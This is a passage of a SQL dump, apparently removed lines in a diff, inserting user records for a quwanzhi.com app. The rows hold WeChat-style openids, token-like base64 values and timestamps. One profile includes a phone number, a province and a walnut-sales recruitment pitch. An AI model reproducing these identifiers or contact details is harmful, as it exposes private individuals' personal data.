NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULBHUC5W', '[]', 0, 0.00, 0.00, 0, '2026-02-23 01:39:57', '2026-02-23 01:39:57', NULL, 'JxTMjUjG13yV5mUr7GSJZQ==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5Qabn7rh0bRZZYbr4_pVwQA', 'ogpTW5Qabn7rh0bRZZYbr4_pVwQA', '微信用户VwQA', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL_PVWQA', '[\"11.1\"]', 0, 0.00, 0.00, 0, '2026-02-24 09:41:13', '2026-02-24 09:41:25', NULL, 'jog1flzsOMxB16Jk7ledYw==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5QAI7gFWP_A-XMArEP6JACo', 'ogpTW5QAI7gFWP_A-XMArEP6JACo', '微信用户JACo', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULP6JACO', '[]', 0, 0.00, 0.00, 0, '2026-02-27 06:39:11', '2026-02-27 06:39:11', NULL, 'Of1uZiuCKFJoF2BqbrvFQw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '核选佳人', 'https://soulapi.quwanzhi.com/uploads/avatars/1772857422587666170_d8vbyc.jpeg', '15194062210', '15194062210', 'ENFJ', '河北', '私域电商', '公司合伙人', '年入十万+', '私域运营 教授代理', '销售全屋整装 一单十五万', '', '', '', '', '手把手教你 听话照做 月入过万 想了解 要加入的联系', 'SOUL2XYSRI', '[]', 0, 0.00, 1.80, 29, '2026-01-31 06:55:11', '2026-03-11 06:50:11', NULL, 'GdMMh7tW7CKB8DcBrYaQVw==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 1, '2027-03-01 16:00:00', '选核佳人-只做精品核桃', '文玩核桃销售(招代理)', '15194062210', 'https://soulapi.quwanzhi.com/uploads/avatars/1772542109591163330_oh2gck.jpg', '不贩寻常货,只藏传世核,许你一对掌心乾坤。', 0, 0, '2026-03-02 02:23:08', 2, NULL); -INSERT INTO `users` VALUES ('ogpTW5Qm4kjuZ289cv-QaDKHVAZ8', 'ogpTW5Qm4kjuZ289cv-QaDKHVAZ8', '微信用户VAZ8', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULKHVAZ8', '[]', 0, 0.00, 0.00, 0, '2026-03-03 03:03:56', '2026-03-03 03:03:56', NULL, 'WbWjM88U+o1T+Y0zpfpnag==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5QRM9Hulp29AtR3T270X6lY', 'ogpTW5QRM9Hulp29AtR3T270X6lY', '微信用户X6lY', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL70X6LY', '[]', 0, 0.00, 0.00, 0, '2026-02-24 08:04:26', '2026-02-24 08:04:26', NULL, 'K3Ibk0JWMo4Bcp4w+SiwPQ==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5QXR4qfwlD6BrZ4mp49HCco', 'ogpTW5QXR4qfwlD6BrZ4mp49HCco', '微信用户HCco', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL49HCCO', '[]', 0, 0.00, 0.00, 0, '2026-02-24 08:23:49', '2026-02-24 08:23:49', NULL, '3URSFy5tVHz3iPu99D9fkA==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5R_LtSnV47s5N0sVWzQRftw', 'ogpTW5R_LtSnV47s5N0sVWzQRftw', '微信用户Rftw', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULZQRFTW', '[]', 0, 0.00, 0.00, 0, '2026-01-30 10:47:15', '2026-01-30 10:47:15', NULL, 'tAcZlYQQuYwdfDLNs675jQ==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5R0DWOL2CDq3hNCVnUVZP5A', 'ogpTW5R0DWOL2CDq3hNCVnUVZP5A', '微信用户ZP5A', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULUVZP5A', '[]', 0, 0.00, 0.00, 0, '2026-02-26 09:32:12', '2026-02-26 09:32:12', NULL, 'c438ucT1hj1AkOFX1KlFiw==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5R253v5YCNQs3IXygDJZz2o', 'ogpTW5R253v5YCNQs3IXygDJZz2o', '微信用户Zz2o', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULDJZZ2O', '[]', 0, 0.00, 0.00, 0, '2026-01-30 13:12:50', '2026-02-13 06:50:28', NULL, 'nWq8WOlMzUVVgHtz3OQjsg==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5R7hILOe6O521rEbUUYCgJ8', 'ogpTW5R7hILOe6O521rEbUUYCgJ8', '微信用户CgJ8', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULUYCGJ8', '[]', 0, 0.00, 0.00, 0, '2026-02-24 11:13:30', '2026-02-24 11:13:31', NULL, 'Voe+vAWjaW1RZNaiIhtDWw==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5RBd3Xumob-hHDXLhAbIpHM', 'ogpTW5RBd3Xumob-hHDXLhAbIpHM', '微信用户IpHM', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULABIPHM', '[]', 0, 0.00, 0.00, 0, '2026-02-25 20:15:27', '2026-02-25 20:15:27', NULL, 'nnY6MjqGc6qUZHqOlTjF8g==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5Rc2-7C0_1Grsf13Nzi54T0', 'ogpTW5Rc2-7C0_1Grsf13Nzi54T0', '微信用户54T0', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULZI54T0', '[]', 0, 0.00, 0.00, 0, '2026-03-07 01:23:33', '2026-03-07 01:23:33', NULL, 'iKBjeGLQYr3ExC/kSYHAnw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5RE0ksRNg-f8i_ucFBTLEoY', 'ogpTW5RE0ksRNg-f8i_ucFBTLEoY', '微信用户LEoY', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULBTLEOY', '[]', 0, 0.00, 0.00, 0, '2026-02-16 00:31:41', '2026-02-16 00:31:41', NULL, 'DVRbzGAZNYx4RfAKKQ74ZQ==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5Rfjxo1IrotPpEKSA2iFcOs', 'ogpTW5Rfjxo1IrotPpEKSA2iFcOs', '微信用户FcOs', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL2IFCOS', '[]', 0, 0.00, 0.00, 0, '2026-02-28 10:30:03', '2026-02-28 10:30:03', NULL, '4xPCpdRgpBoSyTRSyeZlDw==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5RIG4xk1naqzBqpiFtgPwaw', 'ogpTW5RIG4xk1naqzBqpiFtgPwaw', '微信用户Pwaw', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULTGPWAW', '[]', 0, 0.00, 0.00, 0, '2026-03-09 08:07:52', '2026-03-09 08:07:52', NULL, 'tpXJ6iheLLmfGSCQWdLJ6w==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5RiZnbAQc6IRZDHKb4IUxM8', 'ogpTW5RiZnbAQc6IRZDHKb4IUxM8', '微信用户UxM8', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL4IUXM8', '[]', 0, 0.00, 0.00, 0, '2026-02-23 00:03:00', '2026-02-23 00:03:00', NULL, 'pxBlqHbEor2Ng8os8wHU5Q==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5ROpk78CF_4viydnmRylq_M', 'ogpTW5ROpk78CF_4viydnmRylq_M', '微信用户lq_M', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULRYLQ_M', '[]', 0, 0.00, 0.00, 0, '2026-02-13 06:15:38', '2026-02-13 06:15:38', NULL, '4p3JXqsWrjL7T1oKAHEk3g==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5RQEdnZdHQzh0os5kRZOBME', 'ogpTW5RQEdnZdHQzh0os5kRZOBME', '微信用户OBME', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULRZOBME', '[]', 0, 0.00, 0.00, 0, '2026-02-11 09:00:00', '2026-02-11 09:00:00', NULL, '4Xy+orTeHkI5W2TRp4kT+Q==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5SaKompq-PXgVrmfeZ_b68c', 'ogpTW5SaKompq-PXgVrmfeZ_b68c', '微信用户b68c', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULZ_B68C', '[]', 0, 0.00, 0.00, 0, '2026-03-07 01:24:58', '2026-03-07 01:24:58', NULL, 'yBTkvqqg+LUkGa7EUUr74g==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', '微信用户2Jn4', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULDO2JN4', '[]', 0, 0.00, 0.00, 0, '2026-01-31 09:59:24', '2026-03-10 05:37:55', NULL, 'VzvfynqzgVNXHhUyDsbypQ==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5SL4hn1WLvoByZiXUnp1XYQ', 'ogpTW5SL4hn1WLvoByZiXUnp1XYQ', '微信用户1XYQ', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULNP1XYQ', '[]', 0, 0.00, 0.00, 0, '2026-02-02 09:48:24', '2026-02-02 09:48:24', NULL, 'ht6q7u3NYMQDRmqLT66TMg==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5SNiFDrqJVeZx7khIJOHciA', 'ogpTW5SNiFDrqJVeZx7khIJOHciA', '微信用户HciA', 'https://soul.quwanzhi.com/uploads/avatars/1770707889387783311_gm1qti.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULJOHCIA', '[]', 0, 0.00, 0.00, 0, '2026-02-10 07:18:06', '2026-02-10 07:18:09', NULL, 'aXKydwc3JGzf2fhIavKxfA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5SPIL2A7Z6VKtONJFEBcjq4', 'ogpTW5SPIL2A7Z6VKtONJFEBcjq4', '微信用户cjq4', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULEBCJQ4', '[]', 0, 0.00, 0.00, 0, '2026-02-23 21:38:22', '2026-02-23 21:38:22', NULL, '5Vt46tT2i0R8bjU9wvDjdg==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5SReWs42cczpS05TOuwt90c', 'ogpTW5SReWs42cczpS05TOuwt90c', '微信用户t90c', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULUWT90C', '[]', 0, 0.00, 0.00, 0, '2026-01-31 02:47:56', '2026-01-31 02:47:56', NULL, 'R1xyh4LXh/1tvb3TPEBVjQ==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', '微信用户qwXE', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULMKQWXE', '[]', 0, 0.00, 0.00, 0, '2026-02-02 16:48:03', '2026-02-02 16:48:03', NULL, 'hyklqPetMnN2jsK1DB1qRw==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5TEU0EGXSrPCpeUwVMLRqSk', 'ogpTW5TEU0EGXSrPCpeUwVMLRqSk', '微信用户RqSk', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULMLRQSK', '[]', 0, 0.00, 0.00, 0, '2026-02-10 01:05:32', '2026-02-10 01:05:32', NULL, 'JE0keiKGsZw7KMcFVldlTg==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5TG2nwZe4jAW9MW_UveKOCE', 'ogpTW5TG2nwZe4jAW9MW_UveKOCE', '微信用户KOCE', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULVEKOCE', '[\"9.17\"]', 0, 0.00, 0.00, 0, '2026-02-24 08:53:58', '2026-02-24 08:54:14', NULL, '/nDLD5+SZ4tQTxI/cN6Fjw==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5TgboJDMJveJ8iKwG7LYFBc', 'ogpTW5TgboJDMJveJ8iKwG7LYFBc', '微信用户YFBc', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL7LYFBC', '[]', 0, 0.00, 0.00, 0, '2026-02-12 23:10:37', '2026-02-12 23:10:37', NULL, 'Nf3FejFTYhPHH8a+VoYJpg==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5TgXsaPgHKHizxxG6jh2-P4', 'ogpTW5TgXsaPgHKHizxxG6jh2-P4', '微信用户2-P4', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULJH2-P4', '[]', 0, 0.00, 0.00, 0, '2026-03-07 01:54:16', '2026-03-07 01:54:16', NULL, 'UE1AeEv+W+IRWypQxuA5KQ==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5THWb9dHbV0Tb7LOT96IUdA', 'ogpTW5THWb9dHbV0Tb7LOT96IUdA', '微信用户IUdA', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL96IUDA', '[]', 0, 0.00, 0.00, 0, '2026-03-08 23:31:37', '2026-03-08 23:31:37', NULL, 'Rogzj77/bGLWu5gRisQxOA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5TlEzl3ih0OgGz31nfRz5qI', 'ogpTW5TlEzl3ih0OgGz31nfRz5qI', '微信用户z5qI', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULFRZ5QI', '[]', 0, 0.00, 0.00, 0, '2026-02-10 08:13:50', '2026-02-10 08:13:50', NULL, 'BE7ewUonWy6gKpoqn6HD9g==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5TlypohRwpjcXTAsXZahQcY', 'ogpTW5TlypohRwpjcXTAsXZahQcY', '微信用户hQcY', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULZAHQCY', '[]', 0, 0.00, 0.00, 0, '2026-01-31 13:15:05', '2026-01-31 13:15:05', NULL, 'ozPADVht1gwm/bbqxf04yA==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5TNfJ_xV2yqvTDGGV8av1tg', 'ogpTW5TNfJ_xV2yqvTDGGV8av1tg', '微信用户v1tg', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL8AV1TG', '[]', 0, 0.00, 0.00, 0, '2026-02-11 15:04:37', '2026-02-11 15:04:37', NULL, 'mag8fBvpDOmy3Hauk07zmg==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5TPB2VWsoyePc3SveuTDjI8', 'ogpTW5TPB2VWsoyePc3SveuTDjI8', '微信用户DjI8', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULUTDJI8', '[]', 0, 0.00, 0.00, 0, '2026-01-31 10:45:27', '2026-01-31 10:45:27', NULL, 'ACHftVwcxTMjhdU7DV/Ldg==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5U49-hSsgYOJDVTysmhTDV8', 'ogpTW5U49-hSsgYOJDVTysmhTDV8', '微信用户TDV8', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULMHTDV8', '[]', 0, 0.00, 0.00, 0, '2026-03-09 01:18:20', '2026-03-09 01:18:20', NULL, '+xJkizMuC3N/iccsie3IVw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5UgdOmL4OR-PQQoXkTluiWk', 'ogpTW5UgdOmL4OR-PQQoXkTluiWk', '微信用户uiWk', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULTLUIWK', '[]', 0, 0.00, 0.00, 0, '2026-03-07 01:26:23', '2026-03-07 01:26:23', NULL, 'aZ1TrgXn7sZLVgTiqYIA7w==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5Uh4VBve_oCB4EcUoO4GSgY', 'ogpTW5Uh4VBve_oCB4EcUoO4GSgY', '微信用户GSgY', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULO4GSGY', '[]', 0, 0.00, 0.00, 0, '2026-02-23 06:13:46', '2026-03-05 08:04:12', NULL, 'GCosfPKIK59RWnF2cAEOFg==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5UHHDcjscdCpMf_l-590Zrg', 'ogpTW5UHHDcjscdCpMf_l-590Zrg', '微信用户0Zrg', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL590ZRG', '[]', 0, 0.00, 0.00, 0, '2026-03-06 04:20:55', '2026-03-06 04:20:55', NULL, 'bHiRhCXXGuV/Sfj+j1AT4g==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5UoaplDnvqhSiSz8C1nOEQo', 'ogpTW5UoaplDnvqhSiSz8C1nOEQo', '微信用户OEQo', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL1NOEQO', '[]', 0, 0.00, 0.00, 0, '2026-02-10 03:17:13', '2026-02-10 03:17:13', NULL, 'OgUh6k156lj+AJyjg/1dUA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5US8-TZAVgY9IWeyS2LPGd0', 'ogpTW5US8-TZAVgY9IWeyS2LPGd0', '微信用户PGd0', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL2LPGD0', '[\"1.2\"]', 0, 0.00, 0.00, 0, '2026-02-25 08:23:07', '2026-02-25 08:23:39', NULL, 'Tal0AZhXQTTA0YfDV0cEtA==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5UVoR-jV5dh9I0jlvLzgMwo', 'ogpTW5UVoR-jV5dh9I0jlvLzgMwo', '微信用户gMwo', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULLZGMWO', '[]', 0, 0.00, 0.00, 0, '2026-02-02 17:06:15', '2026-02-02 17:06:15', NULL, 'YK1f7ZFj8TAdUP79cLhoMg==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5UwgF76o_m6e_vdpZnebAJA', 'ogpTW5UwgF76o_m6e_vdpZnebAJA', '微信用户bAJA', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULNEBAJA', '[]', 0, 0.00, 0.00, 0, '2026-02-26 09:17:45', '2026-02-26 09:17:45', NULL, 'biwhoy5BG02l1djCKruIIQ==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5V4aCbAXePOZuYOEs4L2TOU', 'ogpTW5V4aCbAXePOZuYOEs4L2TOU', '微信用户2TOU', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL4L2TOU', '[]', 0, 0.00, 0.00, 0, '2026-02-12 03:36:30', '2026-02-12 03:36:30', NULL, '+7UAL/8DOp3BY1eGQYh7DQ==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5V92gmbuNnr4dTXkOdbvQT0', 'ogpTW5V92gmbuNnr4dTXkOdbvQT0', '微信用户vQT0', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULDBVQT0', '[]', 0, 0.00, 0.00, 0, '2026-03-02 01:13:55', '2026-03-02 01:13:55', NULL, 